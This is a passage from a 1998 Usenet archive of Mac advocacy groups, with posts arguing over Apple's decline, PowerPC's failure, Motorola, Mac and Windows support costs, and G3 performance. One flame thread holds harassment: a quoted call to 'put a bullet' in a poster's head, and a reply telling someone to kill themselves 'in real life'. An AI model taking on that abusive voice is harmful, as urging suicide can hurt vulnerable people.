But Office on Mac is the equal or better than 97 on the PC and has
features taht will never be on wintel due to the Mac OS. Point is that it
is a good package for the enterprise.
===========
> When the mix is more even, it becomes easier and cheaper per
> person - there is enough local knowledge that any Mac user will
> likely know others at the office, and thus they can trade information
> without having to call the help desk. Further, you can split the
> support group so that the help desk personell are specialized.
=======
That presumes their are problems. But in the wintel world problems can be
mroe thorney and difficult to trace. hence one worker involves others (who
are then ALl unproductive) and then they get the IS folks involved and it
ends up costing far more in support costs...I see it happen....
======
> My real world support experiences and anecdotal evidence supports
> the hypothesis that a roughly equal mix of Macs and PCs is
> cheaper to support than an entirely PC shop. Mac shops tended to
> be cheaper to support than PC shops, and supporting a small number of
> either type of machine in an environment that uses primarily the other
> is very expensive.
>
> Scott
>
> Scott Ellsworth scott@eviews.com
> "When a great many people are unable to find work, unemployment
> results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
> "The barbarian is thwarted at the moat." - Scott Adams
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 08:58:06 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B892EE.D87B3ED9@nstar.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net>
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NNTP-Posting-Date: 24 Jul 1998 14:08:16 GMT
Jim Polaski wrote:
> Sorry michael, but your notion doesn't wash. More likely is that although
> Apple is MOT's largest customer for PPC chips, they sell far more embedded
> systems, phones etc, and since Apple just didn't *give* the licensing to
> Mot for the OS/motherboards(while Apple PAYS for the chips), MOT could be
> "punishing" Apple.
What? You make the case that desktop PPC isn't important to Motorola,
and the result is that Motorola has a secret agenda to punish Apple? You
have to be kidding.
> After all, how does it look to the computing world when
> the maker of a chip doesn't use the chip themselves? It's a veiled attempt
> to undermine confidence.
In their own chip? Joe bitterly complained about Motorola's use of
Intel-based PCs while Motorola was selling its *own clones* and didn't
have this elusive motive to "punish Apple" of which you're speaking. In
fact, MCG exited the clone market when Apple failed to certify CHRP
machines for MacOS, specifically communicating that CHRP wasn't an
option. The reasons for PPC's failure in the desktop are so obvious; I
don't see the reason to go around looking for conspiracies to exonerate
your favorite mascot.
> Apple affected MOT's profits and now that Apple
> is turning around, MOT may want to affect Apple's fortunes as well.
> Payback comes to mind...
Why shouldn't it? Although it's not nearly as sinister as your fantasies
would lead you to believe. When companies get dicked around they leave
the market. That's enough payback for a company as precarious as Apple.
> And Wintle is "good enough" to get the job done. And "Good enough" is
> heard in more aspects of todays american business than ever before,
> usually in areas of costs...keeping them down, or attempting to that is.
Isn't it hideous? And it's worse than you suggest: "value" has been
popular for much longer than the span of "todays american business".
It's an evil trend we should eliminate as quickly as possible. All these
people who believe in "good enough" don't realize that they could be
paying more for what they don't need.
A recent Reason article (written on a Macintosh by a dyed-in-the-wool
Macintosh fanatic) said that despite the factors that made the Macintosh
a better machine, for most of the Macintosh's history it would have
required gross incompetence or plain stupidity for executives to pay for
Macintoshes in business except in specific niches. Despite my love for
the platform back when it was actually a viable alternative, even I had
to admit that this was true.
> OTOH, with the passel of problems that M$ Wintel and the PC cloners are
> having, it could backfire.
Whatever. It's funny that you guys claim Apple's back on track on the
basis of three quarters of profit, but even as Microsoft is on the best
financial streak of its existence, you would claim that its markets are
imperiled by a "passel of problems". I don't think Microsoft's
"problems" are anything like Apple's, no matter what I might
subjectively think of the company.
MJP
Date: Fri, 24 Jul 1998 10:53:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981053350001@wil63.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p9rst$nd1$1@nnrp02.primenet.com> <joe.ragosta-2407980828330001@wil49.dol.net> <6pa44i$8tm$1@nnrp03.primenet.com>
In article <6pa44i$8tm$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> : In article <6p9rst$nd1$1@nnrp02.primenet.com>, John Jensen
> : <jjens@primenet.com> wrote:
>
> : > This is getting to be like an Oliver Stone movie. Last week we learned
> : > that it was Jean-Louis Gassée, wispering in John Sculley's ear that
> : > distroyed Apple. This week it is the AIM partners not doing enough to
> : > help.
>
> : Read the thread. The message that I was responding to said nothing about
> : Apple's "destruction". It was a discussion of why AIM didn't meet its
> : alleged goal of having PPC take 10% of the CPU market.
>
> The title of the thread is "Apple heading to obscurity?" Funny me, I
> thought your comments were somehow related to that.
>
When I post a message, I leave in the message I'm responding to. Some of
these threads wander so far from their origin, that you need to look at
what the person is specifically responding to.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Nathan Dozier is a lying fool!
Date: Fri, 24 Jul 1998 09:52:54 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35B89FC6.8661DDD6@rauland.com>
References: <35B74335.7DF7C86E@rauland.com> <B1DD3046-927B4@204.32.201.44>
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Nathan Dozier wrote:
>
> On Thu, Jul 23, 1998 7:05 AM, R>
>
> Type: application/X-url
> Part 1.2 Encoding: base64
> Description: Edwin E. Thorne
>
> wrote:
> > > After it was shown that you and he both posted within 2 minutes of each
> > > other from the same ip, you claimed it was because you were at your
> > friend
> > > "macsbug"'s house, implying that anton is Macsbug, yet when I went back
> > > through dejanews this macsbug guy (macsbug@hotmail.com, who also
> > posted
> > > from Edwin's isp) signed his name as Edwin?? How do you explain this?
> > >
> > I withdraw my apology from the Warez thread. If you're going to go so
> > psycho about Edwin's use of another name, using one yourself is extreme
> > hypocracy.
> >
> > I dont know if its hypocracy, I have been getting preety peeved at that
> > mofo's posts myself. I could care less if people use different names, but
> > when you change names to further your kookiness thats another matter. I
> > have remained silent, waiting for people to skewer that edwin fukker like
> > that fukker Rizzo was skewered. This group needs lamers like edwin like
> > our defense forces need windows NT.
> >
> > After this post I think I will check to see if the newsgroup
> > alt.kook.edwin.thorne has been created yet. That guy is as big a kook as
> > Rizzo is.
> >
> > ---------------------------------------------------------
> > Macos- the most awesome os in the world!!
> > ---------------------------------------------------------
Used by some idiots, unfortunately. So far we have two idiots named
Nathan on this NG. Are you a MFA candidate too?
> Your ramblings are truly amusing. Thanks for the entertainment! :)
>
> Edwin
>
> ---------------------------------------------------
> This message was created and sent using the Cyberdog Mail System
> ---------------------------------------------------
This conclusively proves that use of Cyberdog DOES NOT denote
intelligence on the part of the user.
> Anyone know how to create a new newsgroup? We really should make a new newsgroup dedicated to our deranged little mofo here. Maybe call the group alt.kook.edwin.thorn.
>
> Better yet, we should kill off this dweeb like we killed off Rizzo. This fukher's posts have no content, and yet he has the gall to attack people like Joe R and Jason S. We really need to put a bullet into this sick dogs head (cyberspatially speaking, not in real life)
You are a lying scumbag! I NEVER attacked either Joe Ragosta or Jason
S. You say MY posts have no content? What have YOU posted besides
these idiotic ravings?
Why don't you kill yourself? In real life. Then my posts won't bother
you. It's the ultimate kill file.
Edwin
> R>
Date: Fri, 24 Jul 1998 11:07:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981107010001@wil63.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net>
In article <35B88EBF.3BC076E0@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > Once again, why is that Apple's fault?
> >
> > IBM could have built open PPC machine.
> > Or Motorola. Or Sun. Or any number of other companies.
>
> Oh, of course. And Apple could build open SPARC or MIPS or PA-RISC
> machines if it liked. Except that Apple doesn't have an OS or a market
> anywhere near any of these chips. If Apple were to move, it would have
> to be confident of the viability of these chip markets. Since Apple was
> basically killing the viability of long-term desktop PPC success, it
> made zero business sense for IBM, Motorola, Sun, SGI, or anyone else to
> hop onto the PPC track.
>
> Of course, there's also the slightly annoying fact that the hardware
> standard everyone was waiting for was canned. Maybe you missed that.
This is nonsense. Let's talk about the _facts_, not your anti-Apple diatribes.
AIM set up a team to develop a new series of processors. Someone stated
that they claimed they were going to have 10% of the CPU market. I don't
remember that, but let's say it's true.
Now, LOTS and LOTS of people said they were going to support this new CPU.
Novell said they were going to offer Netware for it.
Ditto IBM/OS2
Ditto IBM/AIX
Ditto Microsoft/NT
Ditto Sun/Solaris
A bunch of companies said they were going to build hardware using this chip:
IBM
Bull
Motorola (FirePower)
Be
And others
Now, other than IBM's AIX, the vendors have dropped support for PPC in
every case. Apple has kept up its side of the bargain--they're still using
PPC on all their computers.
Your argument about the hardware standard is completely bogus. First, all
of these supporters dropped their PPC OS before CHRP was ready. Second,
any one of them could have made CHRP boxes. Why is it that they're all
relying on Apple to do so?
Your attempts at revisionism are sad. There's no way that it's Apple's
fault that all of these companies failed to live up to their promises.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 11:08:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407981108350001@wil63.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net>
In article <35B88F92.F794FF48@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > Still, it's hardly reasonable to lay all of the blame for PPC not taking
> > over at Apple's feet.
>
> Baloney. Even if these other companies had stuck with PPC it wouldn't
> have made a dent. You didn't even know that AIX for PPC still exists;
> how could we expect you to know whether Solaris or Netware currently
> ship for PPC? If PPC were to "take over" it would have to do so on the
> wings of a consumer OS, and that's where Apple failed miserably.
You don't think OS/2 for PPC could have made a dent? There are millions of
OS/2 users.
Or Windows NT? Last time I checked, NT is selling reasonably well.
But you'll insist until the end that it's all Apple's fault whenever
something fails to live up to its full promise.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 10:19:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724100837.2148B-100000@ux5.cso.uiuc.edu>
References: <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <see-below-2407980024430001@dynamic18.pm10.mv.best.com>
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On Fri, 24 Jul 1998, Matthew Vaughan wrote:
> In article <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
<snip>
> > > Yes, estimates that they have sold 6 or 8 million to date are common.
> > > Which leaves about 22 million Mac users running 6.x or 7.x.
> >
> > Apple's estimate for how many Macs are currently in use is 22 million
> > IIRC. You are off by a few million on your estimate of Mac users running
> > 6.x or 7.x.
>
> While I generally buy the "6-8 million" sales of OS 8 (since sales can be
> measured fairly easily), I no longer have as much confidence in the "22
> million+ Mac users" numbers (which as Ryan points out, is a _total_ of Mac
> users, not the number running pre-OS 8 systems, isn't it?).
Actually, the Apple estimates I've seen (and these are about 1 year old I
think) put the total number of currently installed Macs at 22 million.
Apple states that the total number of Mac users (not owners) is
approximately 56 million.
> Isn't it
> remarkable that this accepted figure has remained the same during a period
> when Apple contracted significantly, and simultaneously many many
> businesses (and individuals) were dumping their Macs wholesale in favor of
> PCs?
Since Apple was still selling new computers, it wouldn't be outside the
realm of possibility that the figure stayed the same. It is disappointing
that it didn't seem to increase which is what might have ocurred had Apple
not messed up in as many ways as it had.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Fri, 24 Jul 1998 11:42:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2407981142330001@wil48.dol.net>
References: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 24 Jul 1998, Jason S. wrote:
>
> > Pulsar posted the following to comp.sys.mac.advocacy:
> >
> > >The PowerMac G3s are _not_ so much more advanced than many of the
> > >non-Gossamer PCI PowerMacs. You greatly exaggerate how obsolete these
> > >machines are.
> >
> > It looks like the Gossamer machines have better memory bandwidth than
> > the older machines, but I haven't looked at the STREAM data in a while.
> > Frankly, I think that _all_ Apple mobos are weak in this department, but
> > at least Gossamer seemed to beat out previous Macs by a fair amount, IIRC.
>
> There is definitely a difference in bandwidth, but the difference does not
> seem to impact overall performance much. The >250MHz 604e PowerMacs
> compare well with the 233MHz and 266Mhz PowerMac G3s. On some things
> they are significantly faster than the fastest of the PowerMac G3s.
>
> I still maintain that statement I made to Michael.
Actually, I read somewhere that the iMac would outperform the G3/233 due
to some improvements in the motherboard's memory bandwidth. Anyone know
about this?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 10:08:06 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980724094114.2148A-100000@ux5.cso.uiuc.edu>
References: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org>
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On 24 Jul 1998, Jason S. wrote:
> Pulsar posted the following to comp.sys.mac.advocacy:
>
> >The PowerMac G3s are _not_ so much more advanced than many of the
> >non-Gossamer PCI PowerMacs. You greatly exaggerate how obsolete these
> >machines are.
>
> It looks like the Gossamer machines have better memory bandwidth than
> the older machines, but I haven't looked at the STREAM data in a while.
> Frankly, I think that _all_ Apple mobos are weak in this department, but
> at least Gossamer seemed to beat out previous Macs by a fair amount, IIRC.
There is definitely a difference in bandwidth, but the difference does not
seem to impact overall performance much. The >250MHz 604e PowerMacs
compare well with the 233MHz and 266Mhz PowerMac G3s. On some things
they are significantly faster than the fastest of the PowerMac G3s.
I still maintain that statement I made to Michael.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 24 Jul 1998 16:49:03 GMT
Organization: none
Message-ID: <6padtv$91m$2@server.signat.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net>
<6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu>
<6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
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In <joe.ragosta-2407981108350001@wil63.dol.net> Joe Ragosta wrote:
> You don't think OS/2 for PPC could have made a dent? There are millions of
> OS/2 users.
Well I have to agree, it wouldn't. Unless IBM was willing to build PPC
machines for it to run on, no one would buy it. That's the big issue, no one
BUYS OS/2, they get it on machines from IBM as a part of either a bank
terminal, or some huge support contract.
> Or Windows NT? Last time I checked, NT is selling reasonably well.
Moto hung onto this one too long, it was not viable unless the machine also
ran MacOS - when it was clear they were never going to they gave up.
NT was provided for four CPU's, Intel-ish, Alpha, MIPS and PPC. Of those
Intel has an obvious advantage, MIPS was the CPU it was created on, Alpha is
the fastest, PPC is, well, PPC. Although Moto said it was up to twice as
fast as the Intel version, this means little - Alpha's even faster.
Basically no one bought either the PPC or MIPS versions in any numbers, there
was no point.
> But you'll insist until the end that it's all Apple's fault whenever
> something fails to live up to its full promise.
I think thsis _was_ Apple's fault. PPC/NT or OS/2 MAY have been viable if
MacOS ran on the boxes too, but it didn't.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: 24 Jul 1998 18:42:18 GMT
Organization: P & L Systems
Message-ID: <6pakia$fpq$5@ironhorse.plsys.co.uk>
References: <joe.ragosta-2207980843230001@wil103.dol.net> <B1DC0731-590F9@204.31.112.228>
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Cc: pjbrew@nospam.com
In <B1DC0731-590F9@204.31.112.228> "Phil Brewster" wrote:
> (Where's Joseph Heller when you need him?....)
>
Writing "Throw 22" ?
(Sorry, geek joke.)
Best wishes,
mmalc.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 14:01:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B8D9F4.D6C93C1@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos>
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Bill Bumgarner wrote:
>
> Not true! [re: moving Mac OS to a new platform]
>
> Mac OS X Server compiled just fine on Sparc and m68k not long ago. A bit
> longer than that, it compiled just fine on PA-RISC. MIPS work was mostly
> done.
Actually, I know you're right, and I agree with you, but I don't think
this negates my previous point. In fact, it only strengthens it; if
Apple has good reasons not to port to SPARC and MIPS and PA-RISC, then
Sun and SGI and HP had equally good reasons (if not better reasons) not
to support PPC. After all, PPC's main OS sponsor was Apple (bad enough),
PReP/CHRP/PPCP were all null and void, and Motorola and IBM had chosen
not to renew their NT source license.
Point: Apple blew PPC. Saying that Sun and SGI and HP helped blow PPC is
getting cause and effect backward. Apple blew PPC and it scared everyone
else away from the platform. And Apple didn't blow PPC at any one point
in time; it blew PPC continually over the span of three or more years.
Even so, clones could have produced a grassroots revival and buoyed the
platform back into success on MacOS alone. As Kim Mish said, killing
clones was "snatching defeat from the jaws of victory".
> The hard part of any move to a new platform is dealing with driver
> idiosyncracies... with a workstation class architecture, it ain't that
> bad-- you typically have a very limited range of hardware to support. Not
> so with Intel or Alpha or anything else that supports PCI.
Building a platform means more than just writing software for existing
hardware, i.e. migrating is more than just porting. This much should be
obvious. I can obviously run Linux on a Macintosh, and I would if I had
any Macintoshes left. But I won't go out and buy a Macintosh for the
privilege of running Linux on it; there's no compelling reason to limit
my expansion options and invite disaster with proprietary hardware. And
anyway, I probably have a better chance of running MacOS X on some Intel
machine someday than I do with any given Macintosh I could buy, given
Apple's creative upgrade policy. Ironic.
> If apple were to continue to dictate the hardware architectures, then
> drivers are not a problem
Heh! Nor are clones.
> -- Apple can also dictate the range of hardware
> that can be used with the system AND, with the driver kit-- something that
> works just dandy under Mac OS X-- it is relatively easy for a third party
> provider to bring a new piece of hardware to the Mac market.
What's the point of moving to a new hardware platform if it's *your*
hardware platform? What's the point of moving to, say, MIPS, when you'd
have to build a separate architecture anyway and thus couldn't run the
port on existing MIPS systems? What's the point of moving to, say, MIPS,
when you can't run Irix on it and everyone else would have to port their
stuff because you wanted to save driver-writing effort?
These are the questions Apple never seemed to answer with regard to
cloning, PPCP, and cross-platform strategies. It was enough that
sometime in 1993 someone said "We're finally going to start cloning".
Then it turned out Apple was stupid and the event failed. It was enough
that late in 1997 someone said, "We're finally going to go
cross-platform". Then it turned out Apple was both stupid and proud and
the event failed. It was enough that in 1998 someone said, "We're
finally going to ship something". Y'all can fill in the rest of the
story later.
MJP
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Not a troll, please explain
Date: Fri, 24 Jul 1998 11:54:54 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net>
Ok, this is not anti Apple or a troll, so could someone explain this...
From what I have heard, worldwide computer sales have been RISING. Thus,
to keep THE SAME market share as a previous quarter, if the number of
computer sale doubles, you have to sell DOUBLE the ammount of computers to
keep THE SAME marketshare.
1) the worldwide computer market has steadily increased over the last year.
2) apple has sold LESS computers than the same quarter last year
3) the same quarter last year apple's market share was what, %5, %6 worldwide?
4) total computer sales have increased since then
:. Apple's market share is less than %5, or %6, or what it was q3 of last year
:.Apple's market share IS NOT %9
Yet, from macosrumors, as well as other sites:
Apple market share up to 9.4%!
According to a recent report from PC Data, Apple's market share has
risen from 4% earlier this year to 9.4% in June!
Note: Market share is not the same thing as the installed user
base. Apple has a much larger share of the installed user base than it
does current
market share -- which is a measurement of how many computers are
being sold right now under the Apple name as compared to the total number
of computers being sold period.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 12:23:50 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com>
In article <6p85g8$g4q$1@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> The argument that they should buy PPC based computers anyway falls
> down on several counts:
>
> The amount of cash they make from the sale of one chip is small.
> I have heard on the order $30-40 profit is a pretty good haul on a
> recent model chip. (The margins are rather tight.) Thus, if they can
> save that amount by buying a Wintel machine, it is worth doing so.
> They can always use the money saved to make cheaper/better PPC
> chips.
At the expense of their own credibility? I don't see how you can
make a case for this. Its like the president of GM driving a Ford,
it certainly speaks volumes about confidence in ones's own product.
>
> The many studies that show Macs as cheaper to support usually have
> a flaw lurking in them. They assume that the user will not have to
> support Wintel machines anyway. It is essentially impossible to avoid
> needing MS tools, if you need to exchange documents with people on
> Wintel. I have tried DataViz, as well as other tools, and avoiding
> the MS Juggernaut is not an easy task, because these tools just do
> not work well enough.
There are a number of cheap answers to this dilema, like Connectix'
VPC and Insignia's SoftWindows products. Many Mac users solve their
Windows compatibility problems using these inexpensive and wholly
satifactifory solutions (I certainly do).
>
> (Side issue - I have done so to date, but various third party
> spreadsheets are Excel based, so I may need to buy Office.
> This saddens me, as Office is far from good. Ick.)
Actually Office98 for the Mac IS a decent product. Not a great
product perhaps, but certainly a decent one. Its cross platform
compatible, and is a fairly benign concession to "standardization".
>
> If you will need to use Office and various other Windows products
> anyway, then the "lowered support costs" for Macintoshes will
> often become a phantom.
But Office IS available for the Mac. Its files are 100% compatible with
Office for Windows. Not a good example, I'm afraid.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 12:27:05 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <pxpst2-2307981657470001@pelli.pathology.pitt.edu>
In article <pxpst2-2307981657470001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
> All in all MOT is fucked because they are bad at predicting products of
> the future. They are stuck with MASSIVE stockpiles of Analog cell phones
> and it is the Digital cell phones that are selling. Mot did not pay
> attention to a changing market in their bread and butter industry. The
> chips are just a Hobby that may make them money in 3 years not now
Iridium has GOT to be costing Motorola a fortune. Anyone know how those
satellite costs have affected their bottom line?
George Graves
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 19:31:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6panep$hj3$1@nnrp1.dejanews.com>
